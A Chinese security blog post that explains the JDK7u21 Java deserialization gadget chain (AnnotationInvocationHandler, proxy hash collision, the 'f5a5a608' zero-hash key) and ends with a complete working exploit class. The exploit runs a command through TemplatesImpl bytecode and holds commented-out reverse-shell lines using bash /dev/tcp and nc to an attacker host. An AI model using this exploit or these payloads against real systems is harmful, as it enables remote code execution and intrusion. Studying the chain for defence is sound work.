目录

  1. 1. 前言
  2. 2. 环境
  3. 3. 原理
    1. 3.1. 调用 equalsImpl
    2. 3.2. 调用 equals
    3. 3.3. Magic Number
  4. 4. 利用链

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JDK7u21原生反序列化链

2026/1/19 Web Java 反序列化
  |     |   总文章阅读量:

前言

比较老的链子,随便记录一下细节吧

这是一条完全不需要依赖第三方库的链子,坏处就是版本太老

参考:

https://github.com/Y4tacker/JavaSec/blob/a6e0f8cc3a63622b768c3b46297c66dc8a0a85f0/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/JDK7u21/index.md

《Java 安全漫谈》


环境

jdk7u21


原理

反序列化的核心点在于触发动态方法执行的地方

对于 CC 链来说,反序列化的核心点在 InvokerTransformerInstantiateTransformer

对于 CB 链来说,反序列化的核心点在 PropertyUtils#getProperty,因为它能够触发任意对象的 getter

而对于 JDK7u21 链来说,反序列化的核心点在 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

此前在 CC1 就已经提到过这个类,当时只用到它可以触发 Map#putMap#get 的特点

这里我们使用的是 equalsImpl 方法

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        for(Method var5 : this.getMemberMethods()) {
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

private transient volatile Method[] memberMethods = null;

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

可以发现在这个方法里其实是有个明显的反射调用 memberMethod.invoke(var1),而 memberMethod 来源于 getMemberMethods 方法

也就是说 equalsImpl 这个方法会将 this.type 类中的所有方法遍历并执行。那么,假设 this.type 是 Templates 类,则势必会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行

调用 equalsImpl

所以我们需要通过反序列化调用 equalsImpl,这是一个私有方法,向上查找可以找到在 sun.reflect.annotation.AnnotationInvocationHandler#invoke 进行了调用

此事在 CC1 中亦有记载,需要通过动态代理来调用这个方法,看一下 AnnotationInvocationHandler 这个 InvocationHandler 接口的 invoke 方法:

public Object invoke(Object var1, Method var2, Object[] var3) {  
    String var4 = var2.getName();  
    Class[] var5 = var2.getParameterTypes();  
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {  
        return this.equalsImpl(var3[0]);  
    } else {  
        assert var5.length == 0;  
  
        if (var4.equals("toString")) {  
            return this.toStringImpl();  
        } else if (var4.equals("hashCode")) {  
            return this.hashCodeImpl();  
        } else if (var4.equals("annotationType")) {  
            return this.type;  
        } else {  
            Object var6 = this.memberValues.get(var4);  
            if (var6 == null) {  
                throw new IncompleteAnnotationException(this.type, var4);  
            } else if (var6 instanceof ExceptionProxy) {  
                throw ((ExceptionProxy)var6).generateException();  
            } else {  
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {  
                    var6 = this.cloneArray(var6);  
                }  
  
                return var6;  
            }  
        }  
    }  
}

当方法名等于 "equals",且仅有一个 Object 类型参数时,会调用到equalsImpl 方法

那么我们需要找到一个方法,在反序列化时对 proxy 调用 equals 方法


调用 equals

比较 java 对象时,我们常用 equals 和 compareTo

任意Java对象都拥有 equals 方法,它通常用于比较两个对象是否是同一个引用;而 compareTo 实际上是 java.lang.Comparable 接口的方法,通常被实现用于比较两个对象的值是否相等。

一个常见的调用 equals 的场景就是集合set,set 中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作

观察 HashSet 类的 readObject

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    // Read in any hidden serialization magic  
    s.defaultReadObject();  
  
    // Read in HashMap capacity and load factor and create backing HashMap  
    int capacity = s.readInt();  
    float loadFactor = s.readFloat();  
    map = (((HashSet)this) instanceof LinkedHashSet ?  
           new LinkedHashMap<E,Object>(capacity, loadFactor) :  
           new HashMap<E,Object>(capacity, loadFactor));  
  
    // Read in size  
    int size = s.readInt();  
  
    // Read in all elements in the proper order.  
    for (int i=0; i<size; i++) {  
        E e = (E) s.readObject();  
        map.put(e, PRESENT);  
    }  
}

此处使用了 HashMap 将对象保存在 HashMap 的 key 进行去重

在数据结构中,哈希表是由数组+链表实现的:

哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到;数组的值是一个链表

所有哈希碰撞到相同索引的 key-value,都会被链接到这个链表后面

所以为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条
链表上,才会进行比较

观察 HashMap#put

public V put(K key, V value) {  
    if (key == null)  
        return putForNullKey(value);  
    int hash = hash(key);  
    int i = indexFor(hash, table.length);  
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {  
        Object k;  
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {  
            V oldValue = e.value;  
            e.value = value;  
            e.recordAccess(this);  
            return oldValue;  
        }  
    }  
  
    modCount++;  
    addEntry(hash, key, value, i);  
    return null;  
}

此处的变量 i 即为所谓的哈希,两个不同的对象的 i 相等时,才会执行到 key.equals(k) 从而触发上面的代码执行

接下来就需要让 proxy 对象的“哈希”,等于 TemplateImpl 对象的“哈希”


Magic Number

计算哈希的逻辑:

int hash = hash(key);  
int i = indexFor(hash, table.length); 
final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

除了 key.hashCode() 外再没有其他变量,所以 proxy 对象与 TemplateImpl 对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。

TemplateImpl 的 hashCode() 是一个Native方法,每次运行都会发生变化,理论上无法预测

只能从 proxy 对象入手,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {  
    int var1 = 0;  
  
    for(Map.Entry var3 : this.memberValues.entrySet()) {  
        var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());  
    }  
  
    return var1;  
}

遍历 memberValues 这个 Map 中的每个 key 和 value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和

而 jdk7u21 中的处理十分巧妙:

  • 当 memberValues 中只有一个 key 和一个 value 时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
  • 当 value 就是 TemplateImpl 对象时,这两个哈希就变成完全相等

所以,只需要找到一个 hashCode 是 0 的对象作为 memberValues 的 key,将恶意 TemplateImpl 对象作为 value,这个 proxy 计算的 hashCode 就与 TemplateImpl 对象本身的 hashCode 相等了

爆破可得到这个字符串为 f5a5a608


利用链

exp:

package com.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
  
import javax.xml.transform.Templates;  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.LinkedHashSet;  
import java.util.Map;  
  
public class equalsImplChain {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = getTemplatesImpl();  
  
        String zeroHashCodeStr = "f5a5a608";  
  
        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值  
        HashMap map = new HashMap();  
        map.put(zeroHashCodeStr, "foo");  
  
        // 实例化AnnotationInvocationHandler类  
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
        handlerConstructor.setAccessible(true);  
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);  
  
        // 为tempHandler创造一层代理  
        Templates proxy = (Templates) Proxy.newProxyInstance(equalsImplChain.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);  
  
        // 实例化HashSet,并将两个对象放进去  
        HashSet set = new LinkedHashSet();  
        set.add(templates);  
        set.add(proxy);  
//        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();  
//        objectObjectHashMap.put(tempHandler,"");  
//        objectObjectHashMap.put(proxy,"");  
  
  
        // 将恶意templates设置到map中  
        map.put(zeroHashCodeStr, templates);  
  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(set);  
        oos.close();  
  
        System.out.println(barr);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        Object o = (Object)ois.readObject();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static byte[] GenerateEvil() throws Exception{  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        ctClass.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);  
        String plateform = System.getProperties().getProperty("os.name");  
        String command = "";  
        if(command.isEmpty()){  
            if (plateform.contains("Windows")){  
                command = "calc.exe";  
            }else if (plateform.contains("Linux")){  
                command = "xcalc";  
            }else if (plateform.contains("Mac")){  
                command = "open -a Calculator";  
            }  
        }  
        constructor.setBody("Runtime.getRuntime().exec(\""+command+"\");");  
//        constructor.setBody("Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/vps/23333 0>&1\");");  
//        constructor.setBody("Runtime.getRuntime().exec(\"nc vps 23333 -e /bin/sh\");");  
//        constructor.setBody("Runtime.getRuntime().exec(\"curl vps:23333\");");  
        ctClass.addConstructor(constructor);  
//        return cleanBytecode(ctClass.toBytecode());  
        return ctClass.toBytecode();  
    }  
  
    public static TemplatesImpl getTemplatesImpl() throws Exception{  
        byte[][] bytes = new byte[][]{GenerateEvil()};  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_bytecodes", bytes);  
        setFieldValue(templates, "_name", "");  
        setFieldValue(templates, "_tfactory", null);  
        return templates;  
    }  
}